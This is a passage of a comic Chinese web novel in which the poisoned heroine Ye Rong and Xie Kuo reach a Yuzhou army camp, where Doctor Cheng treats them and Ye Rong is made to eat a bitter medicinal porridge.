万一人快递小哥也是和他们一样,要从树洞那边钻进来呢?
那快递小哥岂不是就成了,给人带路的活靶子?
左思右想间,为了保住他们两人好不容易捡回来的这两条小命,叶绒果断放弃了能让她更轻快一些的办法。
她在温泉里那是泡了又泡,洗了又洗,都快洗秃噜皮了,才肯出来……
叶绒洗漱完把男人干净外衣,当毛巾擦头发时,刚回屋里,就听到依旧在地上躺着一动不动的男人说,他们俩人接下来要去军营。
“为什么?”叶绒想不通。
他们都中毒了唉!
这种时候,不应该赶紧趁着毒发前,赶回谢家老巢,寻医问药救命吗?!
“程大夫在军营。”
叶绒:???
什么鬼?
讲真,但凡说这话的换个人,她都觉得,这是在忽悠她。
“我半个月前给谢叔贺寿的时候,他不是在谢府吗?”
到底是她那时眼花了,还是他现在疼昏头了?
在地上躺着的男人,看她一副还没明白过来的模样,皮笑肉不笑的扯了扯嘴角。
“论医术,整个九州程大夫称第二,没人敢称第一,他是我千辛万苦三顾茅庐请回来的。你猜,这么一个稀缺型人才,我父亲好端端的,为什么放他跟我一起来到梁州与豫州的边界?”
叶绒:“……”
她明白了。
这波,她不应该站着,而应该跪着。
她有罪。
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叶绒面露愧疚,在内心深深忏悔一番后,看着地上一动不动的男人,对其提出了一个小小的要求。
“我已经知道错了,下次再也不敢了,回头到了军营那边之后,你能……送我点金子吗?”
“嗯?”
谢阔撩了撩眼皮,“你要那玩意儿做什么?”
“做雕像,就上次我让你做的那种。”
虽然古往今来,都说人定胜天,但她琢磨着吧……
他找人尽人事时,她也得想办法找天上的熟神帮帮忙。
所以——
穿越大神,求求,救救!
谢阔:“……”
看着把求神拜佛的念头,全都写在了脸上的叶绒,他一时不知该如何吐槽。
话说,他虽然对那些神神叨叨的东西不太了解,但据他浅薄的知识来看,像他们俩这种情况,应该求的是药神而非财神吧?
并不知道男人内心想法的叶绒,为了保险起见,又补充了一句,“金子麻烦多给点,回头弄两个雕像,我俩一人一个,没事多拜拜。”
谢阔:“……谢谢。”
面对她一番好心,除了说这俩字,他还能说什么呢?
这样也好!
找个事情给她做,省得她胡思乱想,或者到处乱跑。
得到男人承诺的叶绒犹不满足,“话说,冬天能飞鸽传书吗?”
谢阔:“……”
“信鸽做错了什么,凭白得罪了你,要在大冬天的,被人扔到冰天雪地里,活活冻死?”
——不带这么糟蹋鸽子的!
get到男人话里意思,叶绒没有放弃,“那你下回给谢府那边传消息的时候,别忘了让传信人帮我捎一声,让冬雪他们平时在清辉苑,没事的时候,帮我给那神像烧炷香,拜拜。”
多增加点存活率!
这么想着,为了让眼前人感受到她内心的虔诚,叶绒不放心的多叮嘱了一句,“就像拜财神那样拜。”
谢阔:“……他们不拜财神。”
嘎?
这年头还有人不爱财的?
叶绒傻眼。
“那你们这边逢年过节拜什么神?”
“农神。”
毕竟钱再多,地里种不出来粮食,他们照样要饿死。
叶绒点头表示理解,她重新换了种说辞,“那你回头让他们像拜农神那样,虔诚点儿。”
谢阔看着说的那叫一个认真的叶绒,额头溢满黑线,他忍不住吐槽道:“要不要让人把你那神像供起来,整日香火不断?”
叶绒一听这话,眼睛瞬间就亮了。
“好的,谢谢,没问题!”
她应的那叫一个快。
看着完全听不出他在说反话的少女,谢阔:“……”
第一百一十一章 听我说,谢谢你们
谢阔很无奈。
但还是那句话,他除了答应她,还能怎么办呢?
在地上又无语的躺了好一会儿之后,谢阔估摸着时间,终于起身。
然而,他高估了自己现在的身体状况。
“嘶……”
谢阔稍一动弹,就感觉眼前一黑。
看男人还没站稳,就踉跄的差点儿重新倒回去的模样,叶绒连忙伸手把人给扶住。
“你没事儿吧?”
男人闻言默默看她一眼,他没有说话,而是示意她仰头看看他的后脑勺。
叶绒:???
她本来还有些疑惑,但只瞥了一眼的功夫,就瞬间明白了他的意思。
那——么大一个鼓包,头发完全遮不住的那种!
Emmm……
以她浅薄的现代医学知识来判断的话,他现在十有八九是得了脑震荡。
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叶绒内心小人儿熟练跪地,双手合十忏悔。
愧疚的同时,她内心隐隐有种明悟的感觉。
——敢情他俩从悬崖峭壁那里落下来的时候,落地声音那么大,他脑袋占据首功啊!
这……
叶绒千言万语化作一句——
后脑勺兄,你辛苦了!
“那什么,你是练过铁头功吗?”叶绒肃然起敬的同时,小小声问出了自己心中的疑惑。
这要是换成她的话,脑浆怕是当场都能摔出来!
谢阔:“……”
看她一副长了见识,开了眼的模样,男人有些无语。
他语重心长道了句,“内力是个好东西。”
他冬练三九夏练三伏,无论刮风下雨,亦或者是生病受伤,只要没在床上躺着爬不起来,就从未懈怠过锻炼。
叶绒:“……”
看他一副理所当然的模样,生怕人觉得自个儿见识短浅,完了一不小心又暴露出些什么东西的叶绒,果断选择了闭嘴。
这么一个神奇的世界,无论是马克思还是兰德斯坦纳,来了都得甘拜下风,她一小喽啰哪有多嘴的功夫?
谢阔又站在原地缓了好一会儿,方才重新找了套干净衣服,拿着往外走。
叶绒:“……”
她本想安安静静当个隐形人来着,但看男人这架势,她觉得她不能沉默了。
毕竟,她虽然不知道他身上到底有多少伤口,但给他擦胳膊腿的时候,她就已经见过好几道被利刃刺伤的血肉外翻的伤口了。
“你不能洗澡的。”叶绒连忙挡住男人去路。
开什么玩笑,万一把伤口给弄感染了怎么办?
看她着急忙慌的模样,谢阔只撩了撩眼皮,便很是淡定的道:“放心,我心里有数。”
虽然他身上现在没止痛药了,但金疮药多的是,铁定出不了事!
男人分外镇定的态度,感染了叶绒,想到这是一个神奇的有着内力存在的不科学世界,叶绒:“……”
她权衡了一下,最终还是选择了听信本土人士的话。
他自己的身体,他肯定有数的,对吧?
——谢阔心里有没有数这一点,尚且有待验证,但看他洗漱完之后,还顺手把他们两人衣服洗了晾晒的动作,叶绒琢磨着,某种程度上,他和铁人应该是差不离了。
就是吧……
“你身上那么多伤口,感觉不到疼吗?”
现代人带病工作,她能理解,毕竟他们是牛马,需要挣钱养家糊口;但他带着满身伤,手搓衣服,她就不能理解了。
谢府现在也不穷啊,不缺那点儿衣服钱,他好端端的这么勤俭持家干什么?
叶绒不解。
她着实是想不明白。
“小伤,不碍事,马上收拾好我们就走。”
叶绒:“……”
有时候没有读心术,她也很无助的。
男人看出她内心困惑,想了想,还是开口给她解了下惑,“我们以后有可能不得已,还会再来这里避难,这些衣服洗了放这儿,咱们以后说不定还能用得上,就像这回一样。”
他如果不是一身内力,已经被碧落和红颜给榨干了,定然会和往常一样,选择用内力烘干衣服,然后用油纸袋好好包起来,以待备用。
叶绒:“……”
很好,这理由很强大,她无fuck说。
就在叶绒内心呵呵呵时——
“咕咕……”
有那么一瞬间,听到这道声音的叶绒,恍惚间还以为,是自己内心的阴阳怪气露馅了。
叶绒:“……”
谢阔:“……”
两人面面相觑,她好一会儿才反应过来,是自己的肚子在叫。
然并卵——
叶绒表情困惑的在自己胃部轻轻揉了揉,“我没一点饿的感觉啊!”
这什么鬼?
她已经疼的感知出问题了?
还是大脑辛苦工作一夜之后,累的罢工了,不再接受身体传达的信号了?
想不通怎么个回事的叶绒,一脸懵逼。
反倒是谢阔,行军打仗时,时常有类似经验的男人,很快反应了过来。
“你还记得你上一顿饭,是什么时候吃的吗?”
叶绒闻言,迟疑的摇了下头。
“……不清楚。”
“我被人弄晕带走之后,头几天他们给我喂药时,我昏昏沉沉的还有点儿印象,之后就全程陷入了深度昏迷,什么都感知不到了。”
这么一说,叶绒突然有些怀疑,老天爷是不是觉得,她前面十来天时间过得太快了,眼一睁一闭时间就跳到半个月后了;所以为了公平起见,也为了弥补她,才把昨天那让人难以忍受的痛苦的时间,拉的那么漫长。
如果真是这样的话……
额滴那个老天爷,谢谢你哦!
当然,叶绒觉得,她不止要感谢,给了她那么让人难以忘怀的一夜的老天爷;还要好好感谢一下迷晕她,坏了她好事不说,还把她从洛阳城弄到豫州边境的那些人。
她刚醒来时,能那么的衣着干净,浑身没有一点臭味,十有八九是绑架运输她的那些人里,有女的,还是那种有点洁癖,很爱干净的女人。
不然的话,要是换成古代那些没有讲究卫生习惯的糙汉子的话,讲真,她身边这人跳崖时,她都有些怀疑,他敢不敢抱那时候臭气熏天,比乞丐还乞丐的她了?!
所以——
听我说谢谢你们。
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第一百一十二章 没有人权
就在叶绒因为脑补,即将陷入黑化状态时,谢阔伸手给她把了下脉。
不出所料的。
谢阔对她的脉相没有一点意外。
男人垂眸掩去眼中锋芒,对着叶绒却是一副云淡风轻的语气。
“放心吧,问题不大,只是胃饿出了点儿小问题,你只要以后跟我们一起清淡饮食,调养个一年半载就好了。”
叶绒闻言一脸懵逼。
Emmm……
讲真,如果不是知道他们父子二人,都喜欢原汁原味的清淡饮食的话,她都要怀疑,他这话,是在报复她了。
报复她让他们在谢府吃的那么清淡养生!
四目相对,谢阔表情有那么一丢丢的幸灾乐祸。
害他们父子被迫改了饮食爱好的罪魁祸首,终于要尝尝这般苦楚了。
不知道身边人在想什么的叶绒困惑眨眼。
“你不觉得……问题不大和调养个一年半载凑合到一起,有点儿前后矛盾吗?”
男人闻言,避重就轻道:“难不成你还以为,在你失踪昏迷的这半个月里,想要你命的那些人,会跟老妈子一样,准时准点的给一个,在他们眼中的将死之人,喂营养俱全的饭菜?”
圣母也不是这么当的!
她此番,肠胃没被彻底饿坏,都是她底子好的缘故。
换成别的贵女,亦或者是普通人家的姑娘,经此一遭,根基尽毁,哪怕用好药养着,怕是也没几年活头了。
所以说,幕后之人当真是恶毒,环环相扣,下了毒还觉得不够,主打一个想彻底让她重新投胎做人。
也不知到底是何人,这般阴狠?
男人的话,说的当真是直白的不能再直白了,叶绒这下秒懂。
她心疼的抱住了自己。
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谢谢!
真的谢谢!
“唔唔唔……他们真特么坏,要是换成我,我以后要是遇到了那些把我搞成这样的人,绝不钝刀子磨人,我一定会让他们走的痛痛快快的,十八年后再重新受教育,做一条好汉。”
把她撂下的狠话,当真了的谢阔,难得有些惊奇。
“你真这么想的?”
他像是头一次看到肉包子咬人一眼,满眼新奇。
“昂。”叶绒重重点头。
谢阔:“……好吧,那如你所愿。”
他本还想好好招待招待行凶之人呢,但就冲着她现在这态度,谢阔觉得,为了鼓励下难得硬起心肠的人儿的勇气,他下手时都得利索点儿。
在心里又默默修改了下复仇计划后,谢阔大致估摸了一下时间,然后开口道:“走吧,我们现在出发,去军营那边,应该差不多能赶上飱食的饭点。”
正在心疼自个儿的叶绒听到这话,缓缓抬头,“你不是说这附近都被梁州人给戒严了吗?我们两个手无寸铁的伤患,怎么在那么短的时间里,突破重重包围,回到豫州军营那边?”
她先前还以为,他所谓的去军营那边找程大夫解毒续命,是从长计议来着呢?!
叶绒看向泡了温泉之后,依旧面色惨白的男人,想到昨夜,她脑中突然冒出一个想法。
“——”
叶绒顿时就慌了。
她被自己的脑补吓到了。
“不是,那什么……还有十来天时间呢,我觉得咱们不应该这么快就放弃治疗,好歹先让程大夫看看再说啊,说不定他真有办法呢?”
谢阔:“……”
男人很是无语看她一眼,“收起你脑子里那晦气的想法。”
叶绒:“……”
看他没一点儿自暴自弃的模样,这下叶绒更不解了。
“你这么快就想离开这里,光明正大出去给敌人送人头,这不是活腻歪了,是什么?”
谢阔呵呵一笑,“听话不要只听一句好吗?都跟你说过了,这里曾经是我的地盘,狡兔还三窝呢,你觉得我还能不给自己留条退路?”
叶绒:“……”
她讪讪一笑。
好吧,是她脑补过度了。
生怕自个儿再多说多错,叶绒这回什么都没讲,只默默给男人竖了两个大拇指。
“那……咱们现在就出发?”
“你要是不多说这几句话的功夫,我们已经走出去老远了。”
叶绒:“……对不起,我错了。”
没挖兔子窝的人,没有人权。
好在这回,男人大人有大量,没跟她计较。
就这样,两个伤残的病号,你扶着我,我扶着你,上路西行了……
真、往西边走的那种。
讲真,疼了一晚上不说,还好长时间没吃过饭的叶绒,那是又虚又弱,还饿的要死,她在乌漆麻黑的崎岖小路里走来拐去的,那真是全靠一口气儿撑着。
旁边人比她更惨,受伤更严重,都还没叫苦叫累喊受不住呢,她身为罪魁祸首,有什么资格卖惨?
就这样……
时间在叶绒的感知中,再次被施加了慢速魔法,变得格外的难熬,难熬到她情不自禁的在心里,再次感谢起了老天爷。
鉴于老天爷天生地养的缘故,只问候这么一位感觉不够过瘾的叶绒,又默默问候了下,那个害她穿到这里的神经病。
——要不是那疯子胡乱捅人,害她噶了的话,她何至于来这里受这么一遭罪?
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满心问候语的叶绒,在见到豫州旗帜的那刻,泪眼汪汪的,激动的差点哭出来。
可算是能解脱了!
“……你先别晕。”
眼角余光瞥到身旁人松了口气的同时,身子有些发软的模样,谢阔连忙提醒了这么一句。
这时候她要是晕了,那他抱着她进去,明天他们两人,就能一起在这里出名了。
然并卵——
谢阔说晚了。
听到他话的叶绒,有气无力看他一眼,精气神儿松懈下去之后,她连吭声的力气都没了,直接两眼一闭,软绵绵的朝后倒去。
谢阔:“???”
万万没想到自己的话,竟然起了反作用的男人,连忙伸手捞人……
然后,一个抬头的功夫,谢阔对上了两双懵逼加震惊的眼睛。
谢阔:“……”
看着满眼卧槽,和他对视上后,还隐隐有些害怕的夹紧双腿,不动声色后退了下的两个军营守卫,谢阔不忍直视的闭了下眼。
完了,他——
一世英名,毁于一旦呐!
第一百一十三章 她害怕
谢阔抱着怀中晕倒的少女的手,微微的颤抖。
话说,他现在把人给扔下去,自证清白,还来得及吗?
Emmmm……
这一诱人的想法,在男人脑海中过了一遍,最终他还是万分遗憾的选择了放弃。
人都已经受伤了,再被他给整个伤上加伤的话,那最后吃苦受累,哄人吃药的还是他。
不划算!
两个守门的豫州军,并不知道男人内心的想法。
他们后退一步,回到营地范围内之后,自觉军营内钢铁男儿的阳气护身,等闲邪气无法入体的两人,安心过后,很快执行起了自己被打断的职责。
“你们是谁?豫州军营,闲杂人等,不得靠近!”
抱着人的谢阔,本来直挺挺的腰板儿,因这一插曲,略微有些弯曲。
——才不是因为感觉丢人呢!
纯粹是疼了一晚上的后遗症,显现出来了。
男人强撑着道了句,“我奉太守的命令,前来寻找程大夫。”
看着神情自若前来找人,都那么久了,还抱着自个儿姘头不撒手,不肯把人放背上背着的谢阔,守门的豫州军:“……”
长见识了,真的长见识了!
这年头军营里边儿,虽然也有契兄弟存在,但从来没有哪一对,像他们俩人这么光明正大的,光天化日,大庭广众之下,一人晕过去了,另一人还把人死死的抱在怀里,黏糊的不行。
这不知道的,怕不是以为是打哪儿来的亡命鸳鸳呢?
不是,这年头外面的人,竟然比他们这些常年经历生死厮杀,把脑袋别在裤腰带上的当兵的人,都坦然豁达了吗?
佩服.jpg
“……”
谢阔本来是不想费口舌过多解释的,但眼看着一人进去之后,留在原地不动弹的豫州军,那眼神震撼,脸上写满了心里话,表情跟一张白纸似的,和他怀里人一样好懂的模样,为了自己日后的名声着想,但还是开口说了句。
“她这几天被人折腾的厉害,而且还晕过去了,我要是现在把她放地上撒手不管的话,那太残忍了。”
卧槽.jpg
守门的豫州军听到他这话,不知脑补了什么,一双狭小的眼睛,猛的瞪大,整个一目瞪口呆的模样。
几天、折腾、晕……
这这这——
这是他一个外人,能听的东西吗?
这信息量太大了,他一时不知该夸他们玩的花,还是该敬佩眼前这条长弯了的汉子的勇气了。
这种让人听着都脸黄的话,竟敢随意往外秃噜,狼人啊简直!
程医远听到军营门口传来的消息之后,立马就赶过来了。
这个时间点儿,会打着谢太守的名头,赶过来的人,只有那么一个。
而且,算算时间,昨天少主接到消息,紧急带着人马去救人,现在这个点儿回来,也很正常。
只不知,少主此行目的是否达成,厍怵是否被救了回来?
因为心里惦念着这件事情的缘故,程医远眉头不自觉就皱了起来……
他们都已经扑空好几回了,老天保佑,这回可千万别再扑空了啊!
等程医远匆匆赶到豫州军营的大门口,看着被人抱在怀里,俨然已经没有知觉的叶绒,他尚未来得及松口气,眉头就直接拧成了一个川字纹。
“嘶——”
预料之中的最坏的结果发生了。
但可怕的是——
坏消息总是接踵而来的。
仅一个抬眼的功夫,本想问一下现况的程医远,看着自家少主苍白的面容,顿时就惊了下。
气血亏空,内力消耗过度,甚至于就连下盘都有点不稳……
只短短一日未见的功夫,这究竟发生了何事,竟害得他变成如此模样?!
程医远很是痛心疾首。
看着军营里,德高望重医术精湛的大夫,从里面出来之后,见到他们两人同样愣住了的样子,在门口坚守岗位的豫州军,“……”
他表情复杂的同时,内心隐隐松了口气。
看来不是他见识少啊!
毕竟就连见多识广的程大夫,见到这么光明正大,不知害羞为何物,大庭广众之下抱在一起的男男,都这么的吃惊!
旁观完他全程眼神变化的谢阔,“……”
Emmm……
话说,他是不是该庆幸一下,军中底层守门的豫州军,大多一字不识。
如此一来,他名声也就臭这一时,最起码不用和父亲一样,担心有人下笔哐哐一顿写,经过艺术的一番加工之后,彻底让他在野史上颜面无存了!
就这样,谢阔在心里默默安慰自己,虽然一世英名毁了,但最起码保住了身后名。
小事一桩,不用在意.jpg
在程医远回神之后,不等他开口,谢阔连忙抬手阻止他的见礼,“有什么事,先进去再说。”
都已经有够丢脸的了,没必要再当面曝光他身份了!
谢谢.jpg
叶绒并不知道谢某人掩耳盗铃的行为,她只觉得自己睡了个好觉。
晕过去之前,她连呼吸都觉得费劲儿,重新睁眼醒来之后,经过机体的一番休整,那真是天也蓝了,云也白了,除了腰酸背痛肌肉难受的后遗症显现出来了,没其他一点毛病。
“嘶……”
叶绒龇牙咧嘴的,从硬邦邦的被窝里坐起来,但她还没来得及活动一下身体,帐篷就被外面等候多时的人给掀开了。
“厍小姐,你终于醒了,饿坏了吧?先赶紧起来吃点东西。”
一长的五大三粗,脸色看起来比那些在大润发杀了30年的鱼的叔叔们,都冰冷的豫州军,见到叶绒从床上坐起来,对她笑的那叫一个温柔。
而且,他手里还端着一碗让人不知道,该如何形容的灰不拉叽的糊糊。
叶绒:“……”
若非事先知道自己来到了军营里,她都要怀疑自己是不是又穿越了。
虽然但是——
讲真的,眼前这人进来之后,要是换句台词,说上那么一句——
“大郎,该吃药了。”
她铁定吓的连滚带爬的,有多远跑多远。
这么想着,叶绒悄悄咽了口口水,“那什么,这位大哥,你说话正常点儿。”
他这样,她害怕!
第一百一十四章 相信
他们两人非亲非故的,没见过面不说,这人五大三粗的,在长得这么有威慑力,一看就知道不是普通士兵的前提下,对她态度那么好……
Emmm……
这要是现代的话,她肯定要怀疑是黄鼠狼给鸡拜年来了。
但放到民风淳朴的古代的话……
——原谅她胆小,还是害怕!
因武力值高,被人吩咐,特意来给她守门,完了在来之前,还被上头的人叮嘱一番,要对她态度好点的叶守武:“……”
这可是真祖宗,让他手下的人,不用再忍饥挨饿不说,还能过个好年的那种存在,不能得罪!
所以,她的话,他得听。
得出这一结论之后——
叶守武果断恢复了往常的面无表情。
叶绒:“……”
看着笑起来让人害怕,不笑更加可怕,一动不动站在那里,跟要来收割她生命的死神一样,恐怖的男人,叶绒很从心的僵住了。
不敢动,不敢动.jpg
就在两人大眼瞪小眼,全都一动不动的僵持着的时候,从掀开的门帘那里,再度走进来了一个人。
眼见着熟人到来,一大一小长着同样的杏眸的两人,有志一同的松了口气。
程医远进来之后,率先给叶绒把了下脉,然后又问了些她的身体感受。
一番望闻问切之后,本就皱着眉头的中年大夫,那眉心的纹路深的,简直能夹死苍蝇了!
“程叔,我身体怎么样了?还有救没?”
叶绒被他周身的气氛感染,问话都小心翼翼的。
程医远听到她的话,摸着自己仅几个时辰的功夫,就已经被他撸秃噜了好几根的胡子,轻啧了一声。
“你和少主的脉,我都已经把过了,你们这情况着实有些棘手,我只能说我尽量医治。”
程医远这话刚说出口,叶绒眼圈就红了。
这表情、这语气、再配上这话……完犊子,她没救了!
嘤嘤嘤.jpg
叶绒在来到这个时代之后,想过很多种自己的死法,最理想的是走完剧情之后,跟书里写的一样,病死破庙。
当然,这只是理想状态,也不排除她创业未半,而中道崩殂,嘎在半路。
但死的意外,她能接受,意外中毒之后,饱经折磨,完了再死,她就有点接受不了了。
毕竟,前者走的突然不用承受折磨,而后者……
昨晚痛苦的回忆,尚未在脑中回放,叶绒就率先打了个哆嗦。
疼!
太特么难受了!
又疼又难受……
她完全不能接受,这种不堪的死法!
这么想着,叶绒对着满九州公认医术第一的程医远做了最后的确认,“腊八之前,你能解了碧落和红颜吗?”
听到这话,程医远:“……”
他承认,他程某人在杏林之间是有那么些名声,但也不用如此高看他吧!
看着执着等他给出确切回答的叶绒,程医远沉默几息,方才摇了下头。
叶绒:“……好的,我知道了,谢谢。”
唔唔唔……
她这下是彻底心凉了。
完全接受不了先苦后苦之后可能还是苦,要一直苦到死的叶绒,抽了抽鼻子,重新缩回了被子里。
仅用两句话的功夫,就把人给干抑郁的程医远:“……”
他默不作声的给身后站着的大高个儿,使了个眼色。
叶守武:“……”
虽然他长得五大三粗的,但当真没有哄女人的经验啊!
毕竟,搁家里头,他一般都是被自家媳妇给哄的存在。
想虽这么想,但看大夫着急忙慌的模样,不敢让被子里金苗苗出事的叶守武,最终还是上了。
他嘴巴开合好几下,才端着手中粥碗,在程医远恨铁不锈钢的表情中,鼓足勇气道了句,“你要不先把程大夫让人熬的药粥喝了,再接着睡?”
“……”
回应他的是叶绒拉被子盖脸的动作。
程医远:“……”
行吧,他自己闯的祸自己解决。
“那什么,你暂时先别灰心,我一定会竭尽所能,帮你和少主解毒的。”
“好的,谢谢,辛苦你了,程叔,天色已晚,你赶紧回去休息吧,我也要睡了。”
就剩最后两星期,她休息好之后,要从明天开始,嗨吃嗨喝嗨玩疯狂上十来天,也算不枉来此一场!
“……那你要不先吃点东西再睡?”
“药粥放那吧,我等会儿就起来喝,你们先走吧。”
已经接受现实,准备在腊八之前刀了自己,来个身在古代,魂回现代,完了十八年之后,又是一条好汉的叶绒,声音很是平静。
程医远:“……”
完了,他好像把人给打击坏了。
少主,救命!
被当做救兵搬过来的谢阔,了解清楚事情的前因后果之后,看叶绒这副死猪不怕开水烫,完全放弃治疗的模样,因为有着前车之鉴的缘故,他很快就猜到了她的想法。
谢阔:“……”
正所谓打蛇打七寸,弄明白原因之后,来到叶绒住的帐篷里之后,男人只用只一句话,就轻轻松松把人从床上给劝了出来。
“我先前已经问过程叔了,他说半个月内,虽然不能帮我们研制出解药,但完全能用药物帮我们把毒压住,最起码春天回暖之前,我们都不用担心毒发,再遭一次罪的。”
看自己少主这话说的,一点草稿都不打,张嘴就来的模样,程医远:???
“啊,对对对,还有那么长时间呢,虽然腊八之前我解不了碧落和红颜,但在下次毒发之前,我肯定能为你们解毒的。”
大话先撂出去,甭管能不能实现,先糊弄过去再说!
不然,病人不配合,整一个放弃治疗的模样,等不到下次毒发,她的精气神就散了。
到时候,就是大罗神仙来了,人也救不回来!
被子里的人听到医生斩钉截铁的话,悄悄探出了个脑袋,“真的?”
“真的,我用我的名声保证!”
叶绒看向谢阔。
“程叔说的没错,”男人这话说的很是诚恳。
叶绒:“……”
因他过往在她这儿的信誉值很ok的缘故,叶绒斟酌再三,最终还是选择了相信两人一次。
“那好吧。”
第一百一十五章 预防针?
Emmm……
叶绒很快就发现,自己答应太早了。
都已经放弃治疗了,干嘛还要答应人家,要再坚持一下呀?!
唔唔唔……
她这张破嘴!
她但凡不应那个好字,就不用喝这碗让人闻着都觉得反胃的灰不拉叽的药粥了。
呕——
也不知道里面都放了什么药材,竟然那么的让人难以下咽!
叶绒在帐篷里三人的注视下,隐隐有种回到以前,在现代的时候,吃自助餐吃到最后时的感觉。
哦、不对,还是有很大差别的。
一来,体现在味道上。
用自助餐和这药比较,不看药材价值的话,是在侮辱现代的自助餐;对比着两者之间的用料珍贵程度来看的话,那就是在侮辱这碗药粥里放的纯天然无污染的中草药了。
二来,则是——
她以前,只在自助餐吃到最后,实在吃不下去硬塞的时候,胃和脑才会唱反调。
但这回……
Emmm……
这药粥,她是真喝不下去呐!
仅抿了一小口的功夫,把嘴里的药粥艰难咽下去之后,看着手中还剩下的那么一大碗满满的药粥,叶绒端着粥碗的手,微微的颤抖。
就——
叶绒抬眼看向,在床边站的离她最近的男人,颤着声儿问道:“你跟我说实话,我以后是要天天这么吃,还是只吃这么一顿?”
早有准备的谢阔听到这话,面不改色道:“就这么一碗,里面放的珍贵药材,这边很难找到了,你以后就是想吃也吃不到。”
今晚把这碗粥消化完之后,明天等待她的是放了其它药材的药粥,所以他这么说,完全没毛病。
叶绒:“……”
她本来是想相信的,直到不经意间一个转眼,看到了他们两人的主治大夫脸上,那古怪的表情。
???
叶绒当即杏眸一眯,火速放下手中粥碗,“你是不是在骗我?”
男人假装没发现她的小心机,重新把粥碗端了起来,撩起衣摆做到床沿上。
“明摆着的事,你明天就能发现真相了,我有必要骗你吗?”
他说这话时,态度很是云淡风轻,叶绒:“……”
这么说也对,蛮有道理的。
叶绒将信将疑。
她目光不停在谢阔和程医远身上扫视,“我唔……”
已经到嘴边的话,还没吐出去呢,男人便眼疾手快的用粥勺舀了一小勺的粥,直接塞到了她的嘴里。
紧接着,不等叶绒反应过来,谢阔便单手仰着她的脑袋,顺着往下一划一按。
咕咚!
不冷不热,温度正好的药粥,在叶绒人还没反应过来时,就已经被她给咽了下去。
叶绒:???
这喂东西的手法有点点熟悉啊!
怎么个肥事?
“你喔——”
男人如法炮制,甚至于因为一回生二回熟的缘故,这回舀了满满一勺的药粥,塞到了叶绒的嘴里。
叶绒:“……”
她果断捂住了自己的嘴。
谢阔顺势改变策略,直接不装了,用巧劲儿把人手移走,嘴掰开之后,一勺一勺的,喂的那叫一个丝滑流畅。
全程没有反抗余地的叶绒:“……”
这要是搁现代,就冲他这利落的手法,毫不拖泥带水的动作,他铁定是喂鸭子的一把好手,北京烤鸭的那种鸭!
在边上站着旁观的程医远:“……”
敢情这就是少主,特意让人把药材磨成粉末,加入粥里熬制的原因?
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同样旁观了全程的叶守武:“……”
他隐隐觉得,他此时不应该站在帐篷里,而是应该带着军医一起站帐篷外去。
谢阔一边喂人,一边承受着叶绒仿佛要把他给刀了的目光,全程那叫一个淡定自然。
完了之后,一喂完,不等叶绒缓过那股难受的劲儿之后,开口谴责,男人就火速变了脸色。
“咳咳……”
仅放个空碗的功夫,再一抬头,原本肤色正常的男人,面色肉眼可见的苍白虚弱。
“看你把这药粥喝了,我就放心了,看来这还不是太难喝,想来接下来一段时间,只能靠药粥过活的我,还是能撑得过去的咳咳咳……”
男人话音未落,就咳的撕心裂肺的,一副弱不禁风的模样。
叶绒:“——”
想到男人因何变成这般的,再一听他说的话,知道他接下来会比她还惨,要喝一段时间的药粥,叶绒心口的那股气儿蓦地就散了。
Emmm……
有些心虚的少女撇了撇嘴,没再说什么谴责人的话。
“你既然身体不舒服,那就赶紧回去休息吧。”
“现在天色已经很晚了,你一个人的话……”
为了让人少操点心,多点休息时间,叶绒不等他把话说完,就连忙口,“我等会儿收拾一下东西,然后就接着睡。”
你还别说,可能是因为药粥里放了安神药材的缘故,本来刚睡醒很是清醒的叶绒,说着说着就觉得,她现在眼睛稍微有一丢丢的酸涩了。
中医,神奇!
违背生物钟的伟大存在!
“你赶紧回去休息吧!”叶绒对男人摆了摆手。
他陪着她折腾了那么久,想也知道,她两眼一闭万事不愁的晕过去之后,他完全没得闲。
就这样,她睡醒了,他为了让她吃药,还得赶紧过来陪她。
这么对待病号,她有罪!
因着天色着实已晚的缘故,再加上帐篷里还有另外两个人在,因此谢阔听到叶绒的话之后,从善如流的起身,带着另外两个人告辞。
直到一行三人从帐篷里走出来之后,程医远才悄悄的对走在前面的谢阔,竖起了大拇指。
虽然但是——
程医远心里还是有个疑惑。
“少主为何不告诉小姐,今日她喝的药粥,你也同饮了?”
因着碧落和红颜在他们二人体内都有的缘故,初次接触这等阴毒之物,他给他们二人开的药方,都是一样的。
他知道,自家少主刚刚特意告诉她说,他接下来一段时间只能靠药粥过活,是想先给她提前打个预防针。
毕竟,他们两人同患难之后,还要同吃苦药!
但身前人刚刚说的那么隐晦,他怎么觉得,帐篷里的少女,完全不会深入思考,联想到自己身上呢?
谢阔:“……”
第一百一十六章 我不该醒?
看她药粥吃的那么艰难的时候,他确实是想告诉她这一点,让她先有个心理准备的。
但是嘛……
“她药粥刚喝到嘴里,我怕我说完之后,她受不住打击,直接吐出来。”
吐出来之后,浪费是一回事,更关键的是,今日煮的药粥里面放的一些药材,当真和他说的一样,都是很珍贵的药材,洛阳城虽有些存货,但短时间内难以送过来的那种。
程医远听到这话,想到叶绒今天喝药时的表现,深深的叹了口气。
哎!
这才第一回就这样了,接下来该怎么办呀?
可真、真是愁死个人了!
看着本应比他更发愁,但一点都看不出愁容的男人,程医远率先给人打了个预防针。
“少主,接下来一段时间,尤其是小姐,她的胃已经饿出问题了,除了我让人熬制的中药粥以外,任何东西都碰不得,包括那些甜嘴的蜜饯之类的。”
药粥就那样了,谁喝谁知道,只有更苦,没有最苦,因他们两人现在身体的缘故,他连一点甘草都不敢放,生怕影响了药性。
所以……
接下来,要是有人撒娇打滚,闹到少主面前来的话,程医远只希望他能顽强顶住,别色令智昏,学了今朝皇帝,那为了美人,拿后宫太医撒气的习惯!
他虽然九族细数下来,现在只剩下自己一个人,但也不想那么早下去和他们团聚啊!
看着不知是不是因为和叶绒待久了的缘故,竟然学了她的习惯,把心里话,全都明晃晃的,在脸上表露了出来的程医远,谢阔:“……”
有时候,哪怕身为无神论者,他也觉得,报应这种东西,当真是存在的。
不然,为何他前脚刚给帐篷里的少女打完预防针,后脚就有人反手给他来了一针呢?!
关键他给叶绒打的预防针,没有打到位;别人话里的意思,他却听得明明白白呀!
啧……
这下,程医远脸上的愁容,完美的复制到了谢阔脸上。
男人站在帐篷外的冷风中,沉吟了片刻,就在程医远以为,他准备糊弄过去一顿是一顿的时候,他突然听到谢阔开口问了句话。
“倘若用药和安神香,再让她睡上一段时间的话,对你解毒可有妨碍?”
程医远:“……”
头一次,他知道,原来有的人束手无策到极点的时候,表情也是和往常一样的。
虽然但是——
程医远一句话都没说,只默默给了自家少主一个一言难尽的眼神。
谢阔:“……”
有时候聪明过头了,人也挺无助的!
